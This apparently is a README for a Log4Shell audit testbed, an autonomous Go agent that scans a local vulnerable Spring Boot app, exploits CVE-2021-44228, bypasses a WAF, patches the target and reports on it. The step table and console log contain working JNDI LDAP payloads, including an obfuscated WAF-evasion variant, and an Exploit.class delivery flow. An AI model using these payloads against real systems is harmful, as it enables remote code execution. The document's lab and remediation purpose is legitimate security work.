AUTO AUDIT Banner

🤖 AUTO AUDIT

Isolated demonstration testbed of an autonomous reflexive executor agent (Go/Java)

Русский 🇷🇺 • English 🇬🇧 • 中文 🇨🇳 • Español 🇪🇸 • Deutsch 🇩🇪 • Italiano 🇮🇹 • العربية 🇸🇦

--- ## 🛠️ Technical Architecture and Components The agent's software structure is designed according to the principles of clean architecture (*Hexagonal Architecture / Ports and Adapters*), SOLID, and TDD: * 📂 **[cmd/agent/main.go](https://github.com/c00ln3t/log4shellauditor/blob/main/cmd/agent/main.go)** — Entry point. Manages the lifecycle of background processes and coordinates the startup of the agent goroutine. * 📂 **`internal/`** — Core business logic of the cognitive loop: * 🧠 **[agent/agent.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/agent/agent.go)** — Cognitive loop. Implements the control cycle and the decision rule for strategy selection `Think()`. * 💾 **[core/model.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/model.go)** — Thread-safe knowledge base (`KnowledgeBase` / LTM) based on `sync.RWMutex`. * 🔌 **[core/effector.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/effector.go)** — `Tool` interface for effectors. * ⚙️ **[effectors/](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/effectors)** — Registry of polymorphic effectors (tools): * 🔍 `ToolPortScanner` — Network perimeter reconnaissance. * 🌐 `ToolDiscovery` — Search for articulation points and input vectors (`X-Api-Version`). * 🔬 `ToolPayloadGenerator` — Synthesis of the JNDI signature vector. * 🚀 `ToolProber` — Vulnerability verification using out-of-band (Out-of-Band) tracing. * 🛡️ `ToolSemanticFuzzer` — Bypass of filtering classifiers (WAF Evasion) using nested syntactic mutations. * 🩹 `ToolRemediator` — Automatic patching (Self-Healing). * 📄 `ToolReporter` — Report generation in accordance with GOST R 56939-2016. * 📂 **`pkg/`** — Utility packages and libraries: * 📡 **[oob/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/oob)** — Out-of-band listeners (LDAP and HTTP). * ☕ **[jvm/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/jvm)** — Lifecycle management and restart of a local Java target. * 📂 **[deployments/](https://github.com/c00ln3t/log4shellauditor/blob/main/deployments)** — Configuration files for deployment (Docker, Compose). * 📂 **[test/vulnerable-app/](https://github.com/c00ln3t/log4shellauditor/blob/main/test/vulnerable-app)** — Vulnerable test Java Spring Boot application. --- ## 🎯 Mathematical Apparatus and Specification of the Cognitive Cycle (Think-Act Loop) Agent decision-making is formalized as a **partially observable Markov decision process (POMDP)**, described by the tuple $\langle S, A, T, R, \Omega, O, \gamma \rangle$: * $S$ — discrete space of hidden states of the target environment (port availability, presence of vulnerable parameters, WAF activity, compromise status, patching status, presence of a compliance report). * $A$ — action space of effectors (tool invocations: `port_scanner`, `discovery`, `payload_generator`, `prober`, `semantic_fuzzer`, `remediator`, `reporter`, `stop`). * $\Omega$ — observation space (received HTTP responses, OOB TCP callbacks, file system records). * $O(o \mid s', a)$ — observation function defining the probability of receiving a response $o \in \Omega$. ### 1. Belief Vector (Belief State) The agent does not have direct information about the hidden state of the environment $s \in S$ and operates with a belief vector $b(s)$ — a probability distribution over $S$ that is stored and dynamically updated in `KnowledgeBase` memory: * $b(S_{recon}) \in \{0, 1\}$ — network reconnaissance state (port open/closed). Mapped to `ToolPerformance["port_scanner"]`. * $b(S_{discovery}) \in \{0, 1\}$ — mapping of input vectors (whether parameters were found). Mapped to `len(DiscoveryVectors) > 0`. * $b(S_{payload}) \in \{0, 1\}$ — readiness of the exploit signature. Mapped to `len(CustomPayloads) > 0`. * $b(S_{exploit}) \in \{0, 1\}$ — compromise status (presence of Loot/Flag). Mapped to `len(Loot) > 0`. * $b(S_{patch}) \in \{0, 1\}$ — fact of vulnerability localization. Mapped to `PatchApplied`. * $b(S_{verify}) \in \{0, 1\}$ — verification of the absence of a repeated OOB trigger. Mapped to `PatchVerified`. * $b(S_{report}) \in \{0, 1\}$ — generation of a regulated report. Mapped to `ReportGenerated`. ### 2. Decision Rule Function (Policy Mapping) The decision-making function `Think()` implements a deterministic decision rule $\pi: B \to A$, sequentially mapping the current accumulated belief state $b$ to the optimal effector action $a \in A$. ### 3. Adaptive Learning and Tool Efficiency Evaluation For each tool $a \in A$, statistics are accumulated in `ToolStats` memory and a utility metric (Efficiency Score) is calculated: $$\text{EfficiencyScore}(a) = \frac{SuccessCount_a}{UsageCount_a}$$ The agent uses these metrics to dynamically change its trajectory: if the primary `prober` probe fails ($\text{EfficiencyScore}(\text{prober}) = 0$), the agent identifies the presence of filtering on the target node (WAF), activates a compensatory WAF bypass strategy using the `semantic_fuzzer` tool, and mutates the injection vector. ### Step-by-step testbed scenario: | Step | Selected Tool | Action and process physics | Belief State Change | | :--- | :--- | :--- | :--- | | **1** | `port_scanner` | TCP socket check of host `:8080`. | Open HTTP port of the web service detected ($b(S_{recon}) = 1$). | | **2** | `discovery` | Performing a GET request, parsing DOM and headers. | Input vector identified: header `X-Api-Version` ($b(S_{discovery}) = 1$). | | **3** | `payload_generator` | Synthesis of the base exploit vector. | The database is populated with the string `\${jndi:ldap://127.0.0.1:1389/Exploit\}` ($b(S_{payload}) = 1$). | | **4** | `prober` | Primary attack. The agent sends the payload. | Attempt blocked by WAF. $\text{EfficiencyScore}(\text{prober}) = 0$. | | **5** | `semantic_fuzzer` | Signature obfuscation via nested lookups. | Mutated signature generated ($b(S_{payload}) = 1$, WAF bypass). | | **6** | `prober` | Attack with an obfuscated vector. | The built-in LDAP listener records an incoming TCP connection. RCE fact detected ($b(S_{exploit}) = 1$). | | **7** | `remediator` | Automatic fix. Writing the flag to `remediation.properties` and restarting the JVM. | Spring Boot process restarted with the flag `-Dlog4j2.formatMsgNoLookups=true` ($b(S_{patch}) = 1$). | | **8** | `prober` | Verification (repeated probing request). | Waiting for an OOB connection on port `1389`. The connection is absent $\rightarrow$ $b(S_{verify}) = 1$. | | **9** | `reporter` | Markdown report generation. | The document `reports/cve_2021_44228_report.md` has been generated ($b(S_{report}) = 1$). | | **10**| `stop` | Termination. | Shutdown. | ## 📊 Algorithm Flowcharts ### 1. General agent operation algorithm (Sense-Think-Act Loop) This diagram describes the continuous lifecycle of the agent: from startup and knowledge base initialization to the end of the audit session.```mermaid %%{init: { 'theme': 'dark', 'themeVariables': { 'background': '#0f172a', 'primaryColor': '#1e293b', 'primaryTextColor': '#cbd5e1', 'primaryBorderColor': '#475569', 'lineColor': '#38bdf8', 'secondaryColor': '#1e293b' } }}%% flowchart TD classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc; classDef step fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0; classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0; classDef action fill:#022c22,stroke:#10b981,stroke-width:1px,color:#e2e8f0; Start([Начало]):::startEnd --> Init[Инициализация StandaloneExecutor и KnowledgeBase]:::step Init --> LoopStart{Цикл принятия решений}:::decision %% Think Phase LoopStart --> Think["Think: Выбор оптимального инструмента a = Think()"]:::decision %% Branch on Stop Think --> IsStop{a == 'stop'?}:::decision IsStop -- Да --> Terminate([Завершение работы агента]):::startEnd %% Act Phase IsStop -- Нет --> FetchTool["Загрузка эффектора из реестра Tools[a]"]:::step FetchTool --> Execute[Act: Выполнение Tool.Execute]:::action %% Sense Phase Execute --> Sense[Sense: Получение обратной связи из внешней среды]:::action Sense --> UpdateStats[Обновление статистики ToolStats в памяти]:::step UpdateStats --> RecordObs[Запись наблюдения в Observations]:::step %% Wait RecordObs --> Delay[Задержка 800 мс]:::step Delay --> LoopStart

Start(["Вызов Think()"]):::startEnd --> Lock["Блокировка памяти RLock()"]:::process Lock --> ReadState[Чтение вектора доверия b]:::process %% Step 1 ReadState --> PortScan{port_scanner выполнен?}:::decision PortScan -- Нет --> RetPortScan[Выбрать 'port_scanner']:::selection %% Step 2 PortScan -- Да --> Discovery{Найдено векторов ввода?}:::decision Discovery -- Нет --> RetDiscovery[Выбрать 'discovery']:::selection %% Step 3 Discovery -- Да --> Payload{Сгенерирована эксплоит-сигнатура?}:::decision Payload -- Нет --> RetPayload[Выбрать 'payload_generator']:::selection %% Step 4 (Exploit) Payload -- Да --> Loot{Флаг RCE перехвачен?}:::decision Loot -- Нет --> ProberStats{Была попытка prober?}:::decision ProberStats -- Нет --> RetProber[Выбрать 'prober']:::selection ProberStats -- Да --> FuzzerStats{Fuzzer выполнен?}:::decision FuzzerStats -- Нет --> RetFuzzer[Выбрать 'semantic_fuzzer']:::selection FuzzerStats -- Да --> RetProber:::selection %% Step 5 Loot -- Да --> Patch{Патч применен?}:::decision Patch -- Нет --> RetRemediator[Выбрать 'remediator']:::selection %% Step 6 Patch -- Да --> Verify{Патч верифицирован?}:::decision Verify -- Нет --> RetProberVerify[Выбрать 'prober' в режиме верификации]:::selection %% Step 7 Verify -- Да --> Report{Отчет сформирован?}:::decision Report -- Нет --> RetReporter[Выбрать 'reporter']:::selection %% Step 8 Report -- Да --> RetStop[Выбрать 'stop']:::selection %% Return Statements RetPortScan --> Unlock["Разблокировка RUnlock()"]:::process RetDiscovery --> Unlock RetPayload --> Unlock RetProber --> Unlock RetFuzzer --> Unlock RetRemediator --> Unlock RetProberVerify --> Unlock RetReporter --> Unlock RetStop --> Unlock Unlock --> End([Возврат выбранного инструмента]):::startEnd

--- ## 📊 Console output example```text === ДЕМОНСТРАЦИОННЫЙ СТЕНД РЕАКТИВНОГО АГЕНТА (JAVA SPRING TARGET) === [*] Запуск скомпилированного уязвимого Java Spring приложения локально... [*] Ожидание инициализации веб-контекста Spring (3.5 сек)... [*] Инициализация агента-исполнителя для цели: http://localhost:8080 ================================================================ [ВЫВОД] Выбран инструмент: 'port_scanner' (Текущая фаза: Reconnaissance) [ЭФФЕКТОР:port_scanner] Сканирование порта localhost:8080... [НАБЛЮДЕНИЕ] OBSERVATION: Обнаружен открытый HTTP-порт localhost:8080. Java Spring Web-служба отвечает. [ВЫВОД] Выбран инструмент: 'discovery' (Текущая фаза: Discovery) [ЭФФЕКТОР:discovery] Исследование структуры веб-приложения http://localhost:8080... [НАБЛЮДЕНИЕ] OBSERVATION: Обнаружены потенциальные векторы ввода: GET-параметр '/?input=' и HTTP-заголовок 'X-Api-Version'. [ВЫВОД] Выбран инструмент: 'payload_generator' (Текущая фаза: Discovery) [ЭФФЕКТОР:payload_generator] Анализ уязвимостей и синтез сигнатур... [НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирована сигнатурная нагрузка для CVE-2021-44228: '${jndi:ldap://127.0.0.1:1389/Exploit}'. [ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery) [ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${jndi:ldap://127.0.0.1:1389/Exploit}' на http://localhost:8080... [НАБЛЮДЕНИЕ] FAILURE: Атака не удалась. Уязвимость не эксплуатирована или флаг не перехвачен. [ВЫВОД] Выбран инструмент: 'semantic_fuzzer' (Текущая фаза: Discovery) [ЭФФЕКТОР:semantic_fuzzer] Запуск обфускации и семантического фаззинга против WAF... [НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирован обфусцированный вектор обхода: '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}'. [ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery) [ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}' на http://localhost:8080... [LDAP SERVER] Получен LDAP BindRequest. Отправка BindResponse... [LDAP SERVER] Получен LDAP SearchRequest. Отправка JNDI Referral... [HTTP SERVER] Получен запрос на загрузку Exploit.class [HTTP SERVER] >>> ПЕРЕХВАЧЕН СЕКРЕТНЫЙ ФЛАГ: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026} <<< [НАБЛЮДЕНИЕ] SUCCESS: LDAP Callback получен на порту 1389. RCE отработал. Перехваченный флаг: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026}. [ВЫВОД] Выбран инструмент: 'remediator' (Текущая фаза: Remediation) [ЭФФЕКТОР:remediator] Анализ причин уязвимости и генерация исправления для http://localhost:8080... [ЭФФЕКТОР:remediator] Отправка команды применения патча на http://localhost:8080/remediate... [НАБЛЮДЕНИЕ] REMEDIATION_SUCCESS: Патч применен. На целевое приложение отправлен запрос ремедиации (изменен флаг -Dlog4j2.formatMsgNoLookups=true). JVM успешно переинициализирована. [ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Verification) [ЭФФЕКТОР:prober] Верификация патча: Повторная атака уязвимости на http://localhost:8080... [НАБЛЮДЕНИЕ] VERIFICATION_SUCCESS: Попытка эксплуатации отклонена сервером. Входящий TCP-коллбек на порт 1389 отсутствует. Уязвимость успешно устранена. [ВЫВОД] Выбран инструмент: 'reporter' (Текущая фаза: Verification) [ЭФФЕКТОР:reporter] Формирование отчета об уязвимости по стандартам РФ для http://localhost:8080... [НАБЛЮДЕНИЕ] REPORT_SUCCESS: Отчет успешно сгенерирован и сохранен в файл 'reports/cve_2021_44228_report.md'. ================================================================ [INFO] Жизненный цикл аудита, патчинга и комплаенса завершен.

Log4ShellAuditor

Most Popular

🧭 Overview

2. Cognitive Decision Core Algorithm (Think)

2. Building the Exploit payload

2. Description of processes in containers:

3. Stopping the testbed

📜 Information security and compliance

🛡️ License